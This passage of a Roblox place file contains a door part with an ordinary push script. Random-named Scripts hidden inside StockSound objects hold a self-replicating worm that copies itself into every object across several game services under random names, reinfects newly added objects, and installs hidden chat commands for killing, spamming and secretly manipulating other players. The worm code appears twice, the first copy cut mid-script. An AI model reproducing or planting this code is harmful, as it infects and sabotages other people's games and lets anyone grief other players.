g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX390">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">11</int>
						<CoordinateFrame name="CFrame">
							<X>-20</X>
							<Y>62.4000015</Y>
							<Z>76.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">OneWayDoor</string>
						<float name="Reflectance">0.100000001</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0.100000001</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>78</X>
							<Y>124</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX391">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">PushPack</string>
							<string name="Source">door = script.Parent

function onTouch(hit)
	if hit.Parent == nil then return end
	local h = hit.Parent:FindFirstChild(&quot;Humanoid&quot;)
	if h ~= nil then
		hit.Parent.Torso.Velocity=door.CFrame.lookVector * 100 -- Push the Player back
	end
end
door.Touched:connect(onTouch)</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX392">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">2xdje</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX393">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ugwdq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX394">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">wcn84mi</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
